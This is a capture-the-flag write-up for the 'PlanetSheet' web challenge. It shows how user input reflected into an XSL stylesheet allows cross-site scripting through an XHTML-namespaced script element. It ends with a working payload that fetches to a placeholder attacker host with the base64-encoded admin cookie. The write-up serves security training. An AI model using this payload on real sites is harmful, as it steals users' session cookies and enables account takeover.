PlanetSheet
Let's start by warming a little bit! I love planets and I hate sheets so I made this website to show my favorite planets. Flag is in admin cookie. Link: http://20.233.9.240:1337
In this challenge our input is reflected into an XSL document. For instance:
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<?xml version="1.0" encoding="UTF-8"?>
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<xsl:stylesheet version="1.0"
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xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/">
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<html>
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<body>
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<h2>Planets</h2>
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<p>
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OUR INPUT <xsl:for-each select="catalog/cd">
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<xsl:value-of select="title"/>
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<xsl:if test="position() < last()-1">
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<xsl:text>, </xsl:text>
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</xsl:if>
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<xsl:if test="position()=last()-1">
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<xsl:text>, and </xsl:text>
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</xsl:if>
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<xsl:if test="position()=last()">
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<xsl:text>!</xsl:text>
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</xsl:if>
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</xsl:for-each>
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</p>
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</body>
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</html>
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</xsl:template>
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​
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</xsl:stylesheet>
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When rendered in the browser, this yields an error.
Since the Content-Type is text/xsl, we can use <x:script> to perform XSS (source).
The final payload was
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<x:script xmlns:x="http://www.w3.org/1999/xhtml" nonce="Y8Ret8N5CPXrSG">fetch(`http://ATTACKER.COM/${btoa(document.cookie)}`)</x:script>
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